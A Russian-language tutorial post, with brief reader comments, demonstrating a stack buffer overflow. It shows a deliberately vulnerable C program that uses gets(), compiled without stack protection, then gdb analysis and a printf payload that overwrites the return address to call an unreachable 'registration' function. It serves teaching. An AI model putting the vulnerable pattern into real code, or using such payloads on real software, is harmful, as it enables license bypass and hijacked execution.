Контроль ошибки переполнения буффера

Здесь рассказываю о том, чем опасна ошибка переполнения буфера. Кто может чем-то дополнить, или добавить интересного - буду признателен. Мне такокого рода темы интересны. Остальным может быть просто интересно почитать и попробовать.

Также статья доступна на моем сайте: http://arturk.weebly.com/6/post/2013/04/3.html

 

Все, кто много работает с компьютерами, в своей практике встречались с ошибкой, которая начинается со слов Segmentation fault. Эта ошибка чаще всего является результатом переполнения буфера в программе, выделенного под определенный кусок кода. И очень не многие понимают возможный ущерб от такого рода ошибок. На примере простой программы написанной и скомпилированой нами я покажу вам то, что можно сделать с помощью такой ошибки.
Для начала напишем простенькую программу на С, и назовем файл hidden.c
 
 #include "stdio.h" 

void RegisterThis()
{
puts(“Now this program is registered”);
}

void Work()
{
char buffer[5];
gets(buffer);
puts(buffer);
}

int main()
{
Work();
return(0);
}

 
Думаю, всем понятно, что будет делать эта программа. В ней будет выполняться только одна функция Work(), которая считывает введенное слово и печатает его. На хранения слова выделен буфер в 5 символов. Я плохой программист и вот взял и поленился добавить проверку на максимальную длинну вводимого пользователем слова. В этом ведь не будет ничего страшного?
Также в моей программе присутствует функция, которая должна бы регистрировать эту версию и расширять её функциональность, допустим после уплаты некоторого количества золотого эквивалента в любимой валюте на мой счет. Называется она RegisterThis() и, как видите, никогда не вызывается.
Теперь давайте скомпилируем эту программу. Поскольку современные компиляторы умеют сами исправлять ошибки таких криворуких программистов как я, то, для демонстрации кода, мне придется специально попросить мой компилятор не защищать стэк программы от переполнения буфера параметром компилятора --no-stack-protector. А также, я применю параметр -ggdb , который позволит дебаггеру gdb лучше усваивать и анализировать скармливаемый исполняемый файл. Компилируем:
 
gcc -fno-stack-protector -ggdb -o hidden hidden.c
 
Скомпилировалось, собралось и теперь у меня есть исполняемый файл hidden. Испытаем его на работоспособность:
 
arturk@arturk-Aspire-5536 ~/workspace/HAcking/tut1 $ ./hidden 
12345
12345
 
Работает. После запуска программы я ввел значение 12345 и программа напечатала мне это же значение. В дальнейшем я буду использовать програму printf, присутствующую на всех юникс системах, чтобы избавить себя от необходимости вводить значение внутри моей программы. Например:
 
arturk@arturk-Aspire-5536 ~/workspace/HAcking/tut1 $ printf "12345" | ./hidden 
12345
 
С программистом закончим. Теперь я превращаюсь во вредного пользователя, получившего эту программу. Будучи особо вредным, я сразу заинтересуюсь максимальной длинной вводимого слова, а точнее тем, проверяет ли её программа. Узнать это можно отправив ну очень длинную строку в программу. В жизни я бы взял текст тысяч на 50 символов, но здесь для примера я сделаю это так:
 
arturk@arturk-Aspire-5536 ~/workspace/HAcking/tut1 $ printf "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | ./hidden 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
 
Вредный пользователь доволен. Он заметил, что стек может быть переполнен. Посмотрим на причину нашей радости с помощью дебаггера (дизассемблировав функцию main, можно увидеть что в ней вызывается функция Work, так что я сразу перейду к дизассемблированию функции Work).
 
 arturk@arturk-Aspire-5536 ~/workspace/HAcking/tut1 $ gdb -q ./hidden 
Reading symbols from /home/arturk/workspace/HAcking/tut1/hidden...done. 
(gdb) disas Work 
Dump of assembler code for function Work: 
   0x000000000040056c <+0>:     push   %rbp 
   0x000000000040056d <+1>:     mov    %rsp,%rbp 
   0x0000000000400570 <+4>:     sub    $0x10,%rsp 
   0x0000000000400574 <+8>:     lea    -0x10(%rbp),%rax 
   0x0000000000400578 <+12>:    mov    %rax,%rdi 
   0x000000000040057b <+15>:    callq  0x400440 <gets@plt> 
   0x0000000000400580 <+20>:    lea    -0x10(%rbp),%rax 
   0x0000000000400584 <+24>:    mov    %rax,%rdi 
   0x0000000000400587 <+27>:    callq  0x400420 <puts@plt> 
   0x000000000040058c <+32>:    leaveq  
   0x000000000040058d <+33>:    retq    
End of assembler dump. 
 
Итак, анализируем функцию Work. По смещению +4 мы видим sub $0x10, %rsp , что значит что мы выделяем 16 байт на стек. Это не так важно. Важнее следующая запись - lea -0x10(%rbp), %rax. Это как раз то место, где выделяется память под переменную buffer из нашей программы. И хоть мы и указывали, что нам необходимо всего 5 символов типа char, компилятор решил выделить нам для переменной целых 0х10 байт = 16 байт. Это значит, что переменная buffer может хранить целых 16 символов не вызывая ошибки. Поскольку я использую x64 процессор, то размер адресов памяти у меня 8 байт (на х32 размер 4 байта, так что надо действовать соответственно). Значит, полностью заполнив 16-ю символами буфер переменной мне надо добавить ещё 8 символов, чтобы затереть текущий адрес стека, а потом ввести адрес функции которую мне хочется выполнить. Вроде как сложно понять, особенно если нету знаний ассемблера, но покажу на практике.
Готовим строку на 16 байт:
 
0123456789abcdef
 
Добавляем к ней 8 символов, чтобы перекрыть адрес стека:
 
0123456789abcdefxxxxxxxx
 
Теперь найдем адрес функции регистрации (можно и в gdb посмотреть но я покажу другой способ):
 
arturk@arturk-Aspire-5536 ~/workspace/HAcking/tut1 $ nm hidden | grep RegisterThis
000000000040055c T RegisterThis
 
У меня процессор архитектуры IBM, это значит, что информация в нем записывается от младших байтов к старшим и адрес функции нужно записать по байтам "задом на перед": 5с 05 40 00
Запишем финальную строку для кормления нашей программе:
 
0123456789abcdefxxxxxxxx\x5c\x05\x40\x00
 
Теперь скормим её программе:
 
arturk@arturk-Aspire-5536 ~/workspace/HAcking/tut1 $ printf "0123456789abcdefxxxxxxxx\x5c\x05\x40\x00" | ./hidden 
0123456789abcdefxxxxxxxx\@
Now this program is registered
Segmentation fault
 
Как видите, с помощью ошибки переполнения буфера, плохой парень смог взять под котроль программу и запустить функцию, которая никогда не должна была запуститься. Результат - потеря денег, данных и всего прочего, к чему можно получить доступ.

 

Спасибо, интересно.

спасибо, дейсвительно интересно

хотя программирование на C++ и работа с памятью, мне никогда не нравилось :)

Да, в этом плавне Java лучше. :))